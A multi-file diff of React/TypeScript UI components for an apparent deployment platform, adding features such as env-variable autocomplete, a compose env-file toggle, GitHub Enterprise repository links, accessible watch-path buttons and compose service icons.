publishDirectory: data.publishDirectory || undefined,
isStaticSpa: data.isStaticSpa ?? false,
};
case BuildType.paketo_buildpacks:
return {
@@ -179,6 +181,7 @@ export const ShowBuildChooseForm = ({ applicationId }: Props) => {
const buildType = form.watch("buildType");
const railpackVersion = form.watch("railpackVersion");
const publishDirectory = form.watch("publishDirectory");
const [isManualRailpackVersion, setIsManualRailpackVersion] = useState(false);
useEffect(() => {
@@ -224,7 +227,10 @@ export const ShowBuildChooseForm = ({ applicationId }: Props) => {
? data.herokuVersion
: null,
isStaticSpa:
data.buildType === BuildType.static ? data.isStaticSpa : null,
data.buildType === BuildType.static ||
data.buildType === BuildType.nixpacks
? data.isStaticSpa
: null,
railpackVersion:
data.buildType === BuildType.railpack
? data.railpackVersion || "0.15.4"
@@ -419,6 +425,30 @@ export const ShowBuildChooseForm = ({ applicationId }: Props) => {
)}
/>
)}
{buildType === BuildType.nixpacks && publishDirectory && (
<FormField
control={form.control}
name="isStaticSpa"
render={({ field }) => (
<FormItem>
<FormControl>
<div className="flex items-center gap-x-2 p-2">
<Checkbox
id="checkboxIsStaticSpaNixpacks"
value={String(field.value)}
checked={field.value}
onCheckedChange={field.onChange}
/>
<FormLabel htmlFor="checkboxIsStaticSpaNixpacks">
Single Page Application (SPA)
</FormLabel>
</div>
</FormControl>
<FormMessage />
</FormItem>
)}
/>
)}
{buildType === BuildType.static && (
<FormField
control={form.control}
@@ -63,6 +63,9 @@ export const ShowDeployments = ({
const [activeLog, setActiveLog] = useState<
RouterOutputs["deployment"]["all"][number] | null
>(null);
const [removingDeploymentIds, setRemovingDeploymentIds] = useState<
Set<string>
>(new Set());
const { data: deployments, isPending: isLoadingDeployments } =
api.deployment.allByType.useQuery(
{
@@ -81,7 +84,7 @@ export const ShowDeployments = ({
api.rollback.rollback.useMutation();
const { mutateAsync: killProcess, isPending: isKillingProcess } =
api.deployment.killProcess.useMutation();
const { mutateAsync: removeDeployment, isPending: isRemovingDeployment } =
const { mutateAsync: removeDeployment } =
api.deployment.removeDeployment.useMutation();
// Cancel deployment mutations
@@ -408,6 +411,11 @@ export const ShowDeployments = ({
description="Are you sure you want to delete this deployment? This action cannot be undone."
type="default"
onClick={async () => {
setRemovingDeploymentIds((deploymentIds) => {
const nextDeploymentIds = new Set(deploymentIds);
nextDeploymentIds.add(deployment.deploymentId);
return nextDeploymentIds;
});
try {
await removeDeployment({
deploymentId: deployment.deploymentId,
@@ -415,13 +423,25 @@ export const ShowDeployments = ({
toast.success("Deployment deleted successfully");
} catch (error) {
toast.error("Error deleting deployment");
} finally {
setRemovingDeploymentIds((deploymentIds) => {
const nextDeploymentIds = new Set(
deploymentIds,
);
nextDeploymentIds.delete(
deployment.deploymentId,
);
return nextDeploymentIds;
});
}
}}
>
<Button
variant="destructive"
size="sm"
isLoading={isRemovingDeployment}
isLoading={removingDeploymentIds.has(
deployment.deploymentId,
)}
>
Delete
<Trash2 className="size-4" />
@@ -209,7 +209,9 @@ export const createColumns = ({
</Badge>
</TooltipTrigger>
<TooltipContent className="max-w-xs">
{validationState?.error ? (
{validationState?.isValid && validationState?.message ? (
<p>{validationState.message}</p>
) : validationState?.error ? (
<div className="flex flex-col gap-1">
<p className="font-medium text-red-500">Error:</p>
<p>{validationState.error}</p>
@@ -626,7 +626,10 @@ export const ShowDomains = ({ id, type }: Props) => {
</Badge>
</TooltipTrigger>
<TooltipContent className="max-w-xs">
{validationState?.error ? (
{validationState?.isValid &&
validationState?.message ? (
<p>{validationState.message}</p>
) : validationState?.error ? (
<div className="flex flex-col gap-1">
<p className="font-medium text-red-500">
Error:
@@ -5,6 +5,7 @@ import { useForm } from "react-hook-form";
import { toast } from "sonner";
import { z } from "zod";
import { CodeEditor } from "@/components/shared/code-editor";
import { useEnvCompletionSource } from "@/components/shared/env-autocomplete";
import { Button } from "@/components/ui/button";
import {
Card,
@@ -16,16 +17,20 @@ import {
import {
Form,
FormControl,
FormDescription,
FormField,
FormItem,
FormLabel,
FormMessage,
} from "@/components/ui/form";
import { Switch } from "@/components/ui/switch";
import { Toggle } from "@/components/ui/toggle";
import { api } from "@/utils/api";
import type { ServiceType } from "../advanced/show-resources";
const addEnvironmentSchema = z.object({
environment: z.string(),
createEnvFile: z.boolean(),
});
type EnvironmentSchema = z.infer<typeof addEnvironmentSchema>;
@@ -54,6 +59,12 @@ export const ShowEnvironment = ({ id, type }: Props) => {
? queryMap[type]()
: api.mongo.one.useQuery({ mongoId: id }, { enabled: !!id });
const [isEnvVisible, setIsEnvVisible] = useState(true);
const completionSource = useEnvCompletionSource({
projectEnv: data?.environment?.project?.env,
environmentEnv: data?.environment?.env,
projectId: data?.environment?.projectId,
environmentId: data?.environment?.environmentId,
});
const mutationMap = {
compose: () => api.compose.saveEnvironment.useMutation(),
@@ -71,18 +82,32 @@ export const ShowEnvironment = ({ id, type }: Props) => {
const form = useForm<EnvironmentSchema>({
defaultValues: {
environment: "",
createEnvFile: true,
},
resolver: zodResolver(addEnvironmentSchema),
});
// Watch form value
const currentEnvironment = form.watch("environment");
const hasChanges = currentEnvironment !== (data?.env || "");
const currentCreateEnvFile = form.watch("createEnvFile");
const composeData =
type === "compose"
? (data as { createEnvFile?: boolean; sourceType?: string } | undefined)
: undefined;
const showCreateEnvFileToggle =
type === "compose" &&
(composeData?.sourceType !== "raw" || composeData?.createEnvFile === false);
const hasChanges =
currentEnvironment !== (data?.env || "") ||
(showCreateEnvFileToggle &&
currentCreateEnvFile !== (composeData?.createEnvFile ?? true));
useEffect(() => {
if (data) {
form.reset({
environment: data.env || "",
createEnvFile: composeData?.createEnvFile ?? true,
});
}
}, [data, form]);
@@ -97,6 +122,9 @@ export const ShowEnvironment = ({ id, type }: Props) => {
postgresId: id || "",
redisId: id || "",
env: formData.environment,
...(type === "compose" && {
createEnvFile: formData.createEnvFile,
}),
})
.then(async () => {
toast.success("Environments Added");
@@ -110,6 +138,7 @@ export const ShowEnvironment = ({ id, type }: Props) => {
const handleCancel = () => {
form.reset({
environment: data?.env || "",
createEnvFile: composeData?.createEnvFile ?? true,
});
};
@@ -176,6 +205,7 @@ export const ShowEnvironment = ({ id, type }: Props) => {
} as CSSProperties
}
language="properties"
completionSource={completionSource}
disabled={isEnvVisible}
className="font-mono"
wrapperClassName="compose-file-editor"
@@ -190,6 +220,34 @@ PORT=3000
)}
/>
{showCreateEnvFileToggle && (
<FormField
control={form.control}
name="createEnvFile"
render={({ field }) => (
<FormItem className="flex flex-row items-center justify-between p-3 border rounded-lg shadow-xs">
<div className="space-y-0.5">
<FormLabel>Create Environment File</FormLabel>
<FormDescription>
When enabled, an .env file will be created in the same
directory as your compose file on every deploy.
Disable this to keep a repository-provided .env; the
variables above will then be ignored. Takes effect on
the next deploy.
</FormDescription>
</div>
<FormControl>
<Switch
checked={field.value}
onCheckedChange={field.onChange}
disabled={!canWrite}
/>
</FormControl>
</FormItem>
)}
/>
)}
{canWrite && (
<div className="flex flex-row justify-end gap-2">
{hasChanges && (
@@ -3,6 +3,7 @@ import { useEffect } from "react";
import { useForm } from "react-hook-form";
import { toast } from "sonner";
import { z } from "zod";
import { useEnvCompletionSource } from "@/components/shared/env-autocomplete";
import { Button } from "@/components/ui/button";
import { Card } from "@/components/ui/card";
import {
@@ -45,6 +46,13 @@ export const ShowEnvironment = ({ applicationId }: Props) => {
},
);
const completionSource = useEnvCompletionSource({
projectEnv: data?.environment?.project?.env,
environmentEnv: data?.environment?.env,
projectId: data?.environment?.projectId,
environmentId: data?.environment?.environmentId,
});
const form = useForm<EnvironmentSchema>({
defaultValues: {
env: "",
@@ -142,6 +150,7 @@ export const ShowEnvironment = ({ applicationId }: Props) => {
</span>
}
placeholder={["NODE_ENV=production", "PORT=3000"].join("\n")}
completionSource={completionSource}
/>
{data?.buildType === "dockerfile" && (
<Secrets
@@ -163,6 +172,7 @@ export const ShowEnvironment = ({ applicationId }: Props) => {
</span>
}
placeholder="NPM_TOKEN=xyz"
completionSource={completionSource}
/>
)}
{data?.buildType === "dockerfile" && (
@@ -185,6 +195,7 @@ export const ShowEnvironment = ({ applicationId }: Props) => {
</span>
}
placeholder="NPM_TOKEN=xyz"
completionSource={completionSource}
/>
)}
{data?.buildType === "dockerfile" && (
@@ -447,14 +447,18 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
{field.value?.map((path, index) => (
<Badge key={index} variant="secondary">
{path}
<X
className="ml-1 size-3 cursor-pointer"
<button
type="button"
aria-label="Remove watch path"
className="inline-flex items-center focus-visible:ring-2"
onClick={() => {
const newPaths = [...(field.value || [])];
newPaths.splice(index, 1);
form.setValue("watchPaths", newPaths);
}}
/>
>
<X className="ml-1 size-3 cursor-pointer" />
</button>
</Badge>
))}
</div>
@@ -502,14 +506,14 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
control={form.control}
name="enableSubmodules"
render={({ field }) => (
<FormItem className="flex items-center space-x-2">
<FormItem className="flex flex-row items-center space-x-2 space-y-0">
<FormControl>
<Switch
checked={field.value}
onCheckedChange={field.onChange}
/>
</FormControl>
<FormLabel className="mt-0!">Enable Submodules</FormLabel>
<FormLabel>Enable Submodules</FormLabel>
</FormItem>
)}
/>
@@ -242,14 +242,18 @@ export const SaveGitProvider = ({ applicationId }: Props) => {
{field.value?.map((path, index) => (
<Badge key={index} variant="secondary">
{path}
<X
className="ml-1 size-3 cursor-pointer"
<button
type="button"
aria-label="Remove watch path"
className="inline-flex items-center focus-visible:ring-2"
onClick={() => {
const newPaths = [...(field.value || [])];
newPaths.splice(index, 1);
form.setValue("watchPaths", newPaths);
}}
/>
>
<X className="ml-1 size-3 cursor-pointer" />
</button>
</Badge>
))}
</div>
@@ -298,14 +302,14 @@ export const SaveGitProvider = ({ applicationId }: Props) => {
control={form.control}
name="enableSubmodules"
render={({ field }) => (
<FormItem className="flex items-center space-x-2">
<FormItem className="flex flex-row items-center space-x-2 space-y-0">
<FormControl>
<Switch
checked={field.value}
onCheckedChange={field.onChange}
/>
</FormControl>
<FormLabel className="mt-0!">Enable Submodules</FormLabel>
<FormLabel>Enable Submodules</FormLabel>
</FormItem>
)}
/>
@@ -477,14 +477,18 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
className="flex items-center gap-1"
>
{path}
<X
className="size-3 cursor-pointer hover:text-destructive"
<button
type="button"
aria-label="Remove watch path"
className="inline-flex items-center focus-visible:ring-2"
onClick={() => {
const newPaths = [...(field.value || [])];
newPaths.splice(index, 1);
field.onChange(newPaths);
}}
/>
>
<X className="size-3 cursor-pointer hover:text-destructive" />
</button>
</Badge>
))}
</div>
@@ -531,14 +535,14 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
control={form.control}
name="enableSubmodules"
render={({ field }) => (
<FormItem className="flex items-center space-x-2">
<FormItem className="flex flex-row items-center space-x-2 space-y-0">
<FormControl>
<Switch
checked={field.value}
onCheckedChange={field.onChange}
/>
</FormControl>
<FormLabel className="mt-0!">Enable Submodules</FormLabel>
<FormLabel>Enable Submodules</FormLabel>
</FormItem>
)}
/>
@@ -47,6 +47,7 @@ import {
} from "@/components/ui/tooltip";
import { cn } from "@/lib/utils";
import { api } from "@/utils/api";
import { DEFAULT_GITHUB_URL } from "@/utils/github-utils";
const GithubProviderSchema = z.object({
buildPath: z.string().min(1, "Path is required").default("/"),
@@ -96,6 +97,11 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
const repository = form.watch("repository");
const githubId = form.watch("githubId");
// Enterprise repositories do not live on github.com.
const providerUrl =
githubProviders?.find((provider) => provider.githubId === githubId)
?.githubUrl ?? DEFAULT_GITHUB_URL;
const triggerType = form.watch("triggerType");
const { data: repositories, isPending: isLoadingRepositories } =
@@ -227,7 +233,7 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
<FormLabel>Repository</FormLabel>
{field.value.owner && field.value.repo && (
<Link
href={`https://github.com/${field.value.owner}/${field.value.repo}`}
href={`${providerUrl}/${field.value.owner}/${field.value.repo}`}
target="_blank"
rel="noopener noreferrer"
className="flex items-center gap-1 text-sm text-muted-foreground hover:text-primary"
@@ -438,8 +444,12 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
</TooltipProvider>
</div>
<Select
onValueChange={field.onChange}
defaultValue={field.value}
onValueChange={(value) => {
if (!value) {
return;
}
field.onChange(value);
}}
value={field.value}
>
<FormControl>
@@ -487,14 +497,18 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
className="flex items-center gap-1"
>
{path}
<X
className="size-3 cursor-pointer hover:text-destructive"
<button
type="button"
aria-label="Remove watch path"
className="inline-flex items-center focus-visible:ring-2"
onClick={() => {
const newPaths = [...(field.value || [])];
newPaths.splice(index, 1);
field.onChange(newPaths);
}}
/>
>
<X className="size-3 cursor-pointer hover:text-destructive" />
</button>
</Badge>
))}
</div>
@@ -543,14 +557,14 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
control={form.control}
name="enableSubmodules"
render={({ field }) => (
<FormItem className="flex items-center space-x-2">
<FormItem className="flex flex-row items-center space-x-2 space-y-0">
<FormControl>
<Switch
checked={field.value}
onCheckedChange={field.onChange}
/>
</FormControl>
<FormLabel className="mt-0!">Enable Submodules</FormLabel>
<FormLabel>Enable Submodules</FormLabel>
</FormItem>
)}
/>
@@ -467,14 +467,18 @@ export const SaveGitlabProvider = ({ applicationId }: Props) => {
className="flex items-center gap-1"
>
{path}
<X
className="size-3 cursor-pointer hover:text-destructive"
<button
type="button"
aria-label="Remove watch path"
className="inline-flex items-center focus-visible:ring-2"
onClick={() => {
const newPaths = [...(field.value || [])];
newPaths.splice(index, 1);
field.onChange(newPaths);
}}
/>
>
<X className="size-3 cursor-pointer hover:text-destructive" />
</button>
</Badge>
))}
</div>
@@ -521,14 +525,14 @@ export const SaveGitlabProvider = ({ applicationId }: Props) => {
control={form.control}
name="enableSubmodules"
render={({ field }) => (
<FormItem className="flex items-center space-x-2">
<FormItem className="flex flex-row items-center space-x-2 space-y-0">
<FormControl>
<Switch
checked={field.value}
onCheckedChange={field.onChange}
/>
</FormControl>
<FormLabel className="mt-0!">Enable Submodules</FormLabel>
<FormLabel>Enable Submodules</FormLabel>
</FormItem>
)}
/>
@@ -1,5 +1,5 @@
import DOMPurify from "dompurify";
import { GlobeIcon, Pencil, Search, X } from "lucide-react";
import { CircuitBoard, GlobeIcon, Pencil, Search, X } from "lucide-react";
import { useEffect, useMemo, useState } from "react";
import { toast } from "sonner";
import { Button } from "@/components/ui/button";
@@ -16,7 +16,8 @@ import { type BundledIcon, bundledIcons } from "@/lib/bundled-icons";
import { api } from "@/utils/api";
interface ShowIconSettingsProps {
applicationId: string;
serviceId: string;
serviceType: "application" | "compose";
icon?: string | null;
}
@@ -26,7 +27,8 @@ const svgToDataUrl = (icon: BundledIcon): string => {
};
export const ShowIconSettings = ({
applicationId,
serviceId,
serviceType,
icon,
}: ShowIconSettingsProps) => {
const [open, setOpen] = useState(false);
@@ -48,6 +50,17 @@ export const ShowIconSettings = ({
const utils = api.useUtils();
const { mutateAsync: updateApplication } =
api.application.update.useMutation();
const { mutateAsync: updateCompose } = api.compose.update.useMutation();
const updateIcon = async (newIcon: string | null) => {
if (serviceType === "compose") {
await updateCompose({ composeId: serviceId, icon: newIcon });
await utils.compose.one.invalidate({ composeId: serviceId });
} else {
await updateApplication({ applicationId: serviceId, icon: newIcon });
await utils.application.one.invalidate({ applicationId: serviceId });
}
};
useEffect(() => {
if (open) {
@@ -59,12 +72,8 @@ export const ShowIconSettings = ({
const handleIconSelect = async (selectedIcon: BundledIcon) => {
try {
const dataUrl = svgToDataUrl(selectedIcon);
await updateApplication({
applicationId,
icon: dataUrl,
});
await updateIcon(dataUrl);
toast.success("Icon saved successfully");
await utils.application.one.invalidate({ applicationId });
setOpen(false);
} catch (_error) {
toast.error("Error saving icon");
@@ -73,12 +82,8 @@ export const ShowIconSettings = ({
const handleRemoveIcon = async () => {
try {
await updateApplication({
applicationId,
icon: null,
});
await updateIcon(null);
toast.success("Icon removed");
await utils.application.one.invalidate({ applicationId });
} catch (_error) {
toast.error("Error removing icon");
}
@@ -130,12 +135,8 @@ export const ShowIconSettings = ({
return;
}
try {
await updateApplication({
applicationId,
icon: sanitizedDataUrl,
});
await updateIcon(sanitizedDataUrl);
toast.success("Icon saved!");
await utils.application.one.invalidate({ applicationId });
setOpen(false);
} catch (_error) {
toast.error("Error saving icon");
@@ -147,12 +148,8 @@ export const ShowIconSettings = ({
reader.onload = async (event) => {
const result = event.target?.result as string;
try {
await updateApplication({
applicationId,
icon: result,
});
await updateIcon(result);
toast.success("Icon saved!");
await utils.application.one.invalidate({ applicationId });
setOpen(false);
} catch (_error) {
toast.error("Error saving icon");
@@ -172,9 +169,11 @@ export const ShowIconSettings = ({
// biome-ignore lint/performance/noImgElement: icon is data URL or base64
<img
src={icon}
alt="Application icon"
alt="Service icon"
className="h-8 w-8 object-contain"
/>
) : serviceType === "compose" ? (
<CircuitBoard className="h-6 w-6 text-muted-foreground" />
) : (
<GlobeIcon className="h-6 w-6 text-muted-foreground" />
)}
@@ -58,8 +58,12 @@ export const ShowSchedules = ({ id, scheduleType = "application" }: Props) => {
const handleRunManually = async (scheduleId: string) => {
setRunningSchedules((prev) => new Set(prev).add(scheduleId));
try {
await runManually({ scheduleId });
toast.success("Schedule run successfully");
const result = await runManually({ scheduleId });
if (result.status === "error") {
toast.error("Schedule run failed, check the deployment logs");
} else {
toast.success("Schedule run successfully");
}
await refetchSchedules();
} catch {
toast.error("Error running schedule");
@@ -114,6 +114,7 @@ export const ShowComposeContainers = ({
<TableHead>Name</TableHead>
<TableHead>State</TableHead>
<TableHead>Status</TableHead>
{appType === "stack" && <TableHead>Node</TableHead>}
<TableHead>Container ID</TableHead>
<TableHead className="text-right" />
</TableRow>
@@ -121,8 +122,9 @@ export const ShowComposeContainers = ({
<TableBody>
{data.map((container) => (
<ContainerRow
key={container.containerId}
key={container.name}
container={container}
appType={appType}
serverId={serverId}
serviceId={serviceId}
onActionComplete={() => refetch()}
@@ -143,7 +145,9 @@ interface ContainerRowProps {
name: string;
state: string;
status: string;
node?: string;
};
appType: "stack" | "docker-compose";
serverId?: string;
serviceId?: string;
onActionComplete: () => void;
@@ -151,6 +155,7 @@ interface ContainerRowProps {
const ContainerRow = ({
container,
appType,
serverId,
serviceId,
onActionComplete,
@@ -192,7 +197,13 @@ const ContainerRow = ({
variant={
container.state === "running"
? "default"
: container.state === "exited"
: [
"exited",
"pending",
"preparing",
"starting",
"ready",
].includes(container.state)
? "secondary"
: "destructive"
}
@@ -201,96 +212,99 @@ const ContainerRow = ({
</Badge>
</TableCell>
<TableCell>{container.status}</TableCell>
{appType === "stack" && <TableCell>{container.node || "-"}</TableCell>}
<TableCell className="font-mono text-sm text-muted-foreground">
{container.containerId}
{container.containerId || "-"}
</TableCell>
<TableCell className="text-right">
<Dialog open={logsOpen} onOpenChange={setLogsOpen}>
<DropdownMenu>
<DropdownMenuTrigger asChild>
<Button variant="ghost" className="h-8 w-8 p-0">
{actionLoading ? (
<Loader2 className="h-4 w-4 animate-spin" />
) : (
<MoreHorizontal className="h-4 w-4" />
)}
</Button>
</DropdownMenuTrigger>
<DropdownMenuContent align="end">
<DropdownMenuLabel>Actions</DropdownMenuLabel>
<DialogTrigger asChild>
{!container.containerId ? null : (
<Dialog open={logsOpen} onOpenChange={setLogsOpen}>
<DropdownMenu>
<DropdownMenuTrigger asChild>
<Button variant="ghost" className="h-8 w-8 p-0">
{actionLoading ? (
<Loader2 className="h-4 w-4 animate-spin" />
) : (
<MoreHorizontal className="h-4 w-4" />
)}
</Button>
</DropdownMenuTrigger>
<DropdownMenuContent align="end">
<DropdownMenuLabel>Actions</DropdownMenuLabel>
<DialogTrigger asChild>
<DropdownMenuItem
className="cursor-pointer"
onSelect={(e) => e.preventDefault()}
>
View Logs
</DropdownMenuItem>
</DialogTrigger>
<ShowContainerConfig
containerId={container.containerId}
serverId={serverId || ""}
/>
<ShowContainerMounts
containerId={container.containerId}
serverId={serverId || ""}
/>
<ShowContainerNetworks
containerId={container.containerId}
serverId={serverId || ""}
/>
<DockerTerminalModal
containerId={container.containerId}
serverId={serverId || ""}
serviceId={serviceId}
>
Terminal
</DockerTerminalModal>
<DropdownMenuSeparator />
<DropdownMenuItem
className="cursor-pointer"
onSelect={(e) => e.preventDefault()}
disabled={actionLoading !== null}
onClick={() => handleAction("restart", restartMutation)}
>
View Logs
Restart
</DropdownMenuItem>
</DialogTrigger>
<ShowContainerConfig
containerId={container.containerId}
serverId={serverId || ""}
/>
<ShowContainerMounts
containerId={container.containerId}
serverId={serverId || ""}
/>
<ShowContainerNetworks
containerId={container.containerId}
serverId={serverId || ""}
/>
<DockerTerminalModal
containerId={container.containerId}
serverId={serverId || ""}
serviceId={serviceId}
>
Terminal
</DockerTerminalModal>
<DropdownMenuSeparator />
<DropdownMenuItem
className="cursor-pointer"
disabled={actionLoading !== null}
onClick={() => handleAction("restart", restartMutation)}
>
Restart
</DropdownMenuItem>
<DropdownMenuItem
className="cursor-pointer"
disabled={actionLoading !== null}
onClick={() => handleAction("start", startMutation)}
>
Start
</DropdownMenuItem>
<DropdownMenuItem
className="cursor-pointer"
disabled={actionLoading !== null}
onClick={() => handleAction("stop", stopMutation)}
>
Stop
</DropdownMenuItem>
<DropdownMenuItem
className="cursor-pointer text-red-500 focus:text-red-600"
disabled={actionLoading !== null}
onClick={() => handleAction("kill", killMutation)}
>
Kill
</DropdownMenuItem>
</DropdownMenuContent>
</DropdownMenu>
<DialogContent className="sm:max-w-7xl">
<DialogHeader>
<DialogTitle>View Logs</DialogTitle>
<DialogDescription>Logs for {container.name}</DialogDescription>
</DialogHeader>
<div className="flex flex-col gap-4 pt-2.5">
<DockerLogsId
containerId={container.containerId}
serverId={serverId}
runType="native"
serviceId={serviceId}
/>
</div>
</DialogContent>
</Dialog>
<DropdownMenuItem
className="cursor-pointer"
disabled={actionLoading !== null}
onClick={() => handleAction("start", startMutation)}
>
Start
</DropdownMenuItem>
<DropdownMenuItem
className="cursor-pointer"
disabled={actionLoading !== null}
onClick={() => handleAction("stop", stopMutation)}
>
Stop
</DropdownMenuItem>
<DropdownMenuItem
className="cursor-pointer text-red-500 focus:text-red-600"
disabled={actionLoading !== null}
onClick={() => handleAction("kill", killMutation)}
>
Kill
</DropdownMenuItem>
</DropdownMenuContent>
</DropdownMenu>
<DialogContent className="sm:max-w-7xl">
<DialogHeader>
<DialogTitle>View Logs</DialogTitle>
<DialogDescription>Logs for {container.name}</DialogDescription>
</DialogHeader>
<div className="flex flex-col gap-4 pt-2.5">
<DockerLogsId
containerId={container.containerId}
serverId={serverId}
runType="native"
serviceId={serviceId}
/>
</div>
</DialogContent>
</Dialog>
)}
</TableCell>
</TableRow>
);
@@ -451,14 +451,18 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
{field.value?.map((path, index) => (
<Badge key={index} variant="secondary">
{path}
<X
className="ml-1 size-3 cursor-pointer"
<button
type="button"
aria-label="Remove watch path"
className="inline-flex items-center focus-visible:ring-2"
onClick={() => {
const newPaths = [...(field.value || [])];
newPaths.splice(index, 1);
form.setValue("watchPaths", newPaths);
}}
/>
>
<X className="ml-1 size-3 cursor-pointer" />
</button>
</Badge>
))}
</div>
@@ -506,14 +510,14 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
control={form.control}
name="enableSubmodules"
render={({ field }) => (
<FormItem className="flex items-center space-x-2">
<FormItem className="flex flex-row items-center space-x-2 space-y-0">
<FormControl>
<Switch
checked={field.value}
onCheckedChange={field.onChange}
/>
</FormControl>
<FormLabel className="mt-0!">Enable Submodules</FormLabel>
<FormLabel>Enable Submodules</FormLabel>
</FormItem>
)}
/>
@@ -251,14 +251,18 @@ export const SaveGitProviderCompose = ({ composeId }: Props) => {
{field.value?.map((path, index) => (
<Badge key={index} variant="secondary">
{path}
<X
className="ml-1 size-3 cursor-pointer"
<button
type="button"
aria-label="Remove watch path"
className="inline-flex items-center focus-visible:ring-2"
onClick={() => {
const newPaths = [...(field.value || [])];
newPaths.splice(index, 1);
form.setValue("watchPaths", newPaths);
}}
/>
>
<X className="ml-1 size-3 cursor-pointer" />
</button>
</Badge>
))}
</div>
@@ -306,14 +310,14 @@ export const SaveGitProviderCompose = ({ composeId }: Props) => {
control={form.control}
name="enableSubmodules"
render={({ field }) => (
<FormItem className="flex items-center space-x-2">
<FormItem className="flex flex-row items-center space-x-2 space-y-0">
<FormControl>
<Switch
checked={field.value}
onCheckedChange={field.onChange}
/>
</FormControl>
<FormLabel className="mt-0!">Enable Submodules</FormLabel>
<FormLabel>Enable Submodules</FormLabel>
</FormItem>
)}
/>
@@ -442,14 +442,18 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
{field.value?.map((path, index) => (
<Badge key={index} variant="secondary">
{path}
<X
className="ml-1 size-3 cursor-pointer"
<button
type="button"
aria-label="Remove watch path"
className="inline-flex items-center focus-visible:ring-2"
onClick={() => {
const newPaths = [...(field.value || [])];
newPaths.splice(index, 1);
form.setValue("watchPaths", newPaths);
}}
/>
>
<X className="ml-1 size-3 cursor-pointer" />
</button>
</Badge>
))}
</div>
@@ -497,14 +501,14 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
control={form.control}
name="enableSubmodules"
render={({ field }) => (
<FormItem className="flex items-center space-x-2">
<FormItem className="flex flex-row items-center space-x-2 space-y-0">
<FormControl>
<Switch
checked={field.value}
onCheckedChange={field.onChange}
/>
</FormControl>
<FormLabel className="mt-0!">Enable Submodules</FormLabel>
<FormLabel>Enable Submodules</FormLabel>
</FormItem>
)}
/>
@@ -47,6 +47,7 @@ import {
} from "@/components/ui/tooltip";
import { cn } from "@/lib/utils";
import { api } from "@/utils/api";
import { DEFAULT_GITHUB_URL } from "@/utils/github-utils";
const GithubProviderSchema = z.object({
composePath: z.string().min(1),
@@ -98,6 +99,11 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
const repository = form.watch("repository");
const githubId = form.watch("githubId");
const triggerType = form.watch("triggerType");
// Enterprise repositories do not live on github.com.
const providerUrl =
githubProviders?.find((provider) => provider.githubId === githubId)
?.githubUrl ?? DEFAULT_GITHUB_URL;
const { data: repositories, isPending: isLoadingRepositories } =
api.github.getGithubRepositories.useQuery(
{
@@ -220,7 +226,7 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
<FormLabel>Repository</FormLabel>
{field.value.owner && field.value.repo && (
<Link
href={`https://github.com/${field.value.owner}/${field.value.repo}`}
href={`${providerUrl}/${field.value.owner}/${field.value.repo}`}
target="_blank"
rel="noopener noreferrer"
className="flex items-center gap-1 text-sm text-muted-foreground hover:text-primary"
@@ -432,8 +438,12 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
</TooltipProvider>
</div>
<Select
onValueChange={field.onChange}
defaultValue={field.value}
onValueChange={(value) => {
if (!value) {
return;
}
field.onChange(value);
}}
value={field.value}
>
<FormControl>
@@ -479,14 +489,18 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
{field.value?.map((path, index) => (
<Badge key={index} variant="secondary">
{path}
<X
className="ml-1 size-3 cursor-pointer"
<button
type="button"
aria-label="Remove watch path"
className="inline-flex items-center focus-visible:ring-2"
onClick={() => {
const newPaths = [...(field.value || [])];
newPaths.splice(index, 1);
form.setValue("watchPaths", newPaths);
}}
/>
>
<X className="ml-1 size-3 cursor-pointer" />
</button>
</Badge>
))}
</div>
@@ -538,14 +552,14 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
control={form.control}
name="enableSubmodules"
render={({ field }) => (
<FormItem className="flex items-center space-x-2">
<FormItem className="flex flex-row items-center space-x-2 space-y-0">
<FormControl>
<Switch
checked={field.value}
onCheckedChange={field.onChange}
/>
</FormControl>
<FormLabel className="mt-0!">Enable Submodules</FormLabel>
<FormLabel>Enable Submodules</FormLabel>
</FormItem>
)}
/>
@@ -468,14 +468,18 @@ export const SaveGitlabProviderCompose = ({ composeId }: Props) => {
{field.value?.map((path, index) => (
<Badge key={index} variant="secondary">
{path}
<X
className="ml-1 size-3 cursor-pointer"
<button
type="button"
aria-label="Remove watch path"
className="inline-flex items-center focus-visible:ring-2"
onClick={() => {
const newPaths = [...(field.value || [])];
newPaths.splice(index, 1);
form.setValue("watchPaths", newPaths);
}}
/>
>
<X className="ml-1 size-3 cursor-pointer" />
</button>
</Badge>
))}
</div>
@@ -523,14 +527,14 @@ export const SaveGitlabProviderCompose = ({ composeId }: Props) => {
control={form.control}
name="enableSubmodules"
render={({ field }) => (
<FormItem className="flex items-center space-x-2">
<FormItem className="flex flex-row items-center space-x-2 space-y-0">
<FormControl>
<Switch
checked={field.value}
onCheckedChange={field.onChange}
/>
</FormControl>
<FormLabel className="mt-0!">Enable Submodules</FormLabel>
<FormLabel>Enable Submodules</FormLabel>
</FormItem>
)}
/>
@@ -57,7 +57,7 @@ export const ShowDockerLogsStack = ({
},
);
const { data: containers, isPending: containersLoading } =
const { data, isPending: containersLoading } =
api.docker.getContainersByAppNameMatch.useQuery(
{
appName,
@@ -69,6 +69,8 @@ export const ShowDockerLogsStack = ({
},
);
const containers = data?.filter((container) => container.containerId);
useEffect(() => {
if (option === "native") {
if (containers && containers?.length > 0) {
@@ -316,7 +316,7 @@ export const RestoreBackup = ({
Restore Backup
</Button>
</DialogTrigger>
<DialogContent className="sm:max-w-lg">
<DialogContent className="sm:max-w-2xl">
<DialogHeader>
<DialogTitle className="flex items-center">
<RotateCcw className="mr-2 size-4" />
@@ -0,0 +1,401 @@
import {
ChevronRight,
Download,
File,
Folder,
FolderOpen,
Loader2,
RefreshCw,
Trash2,
} from "lucide-react";
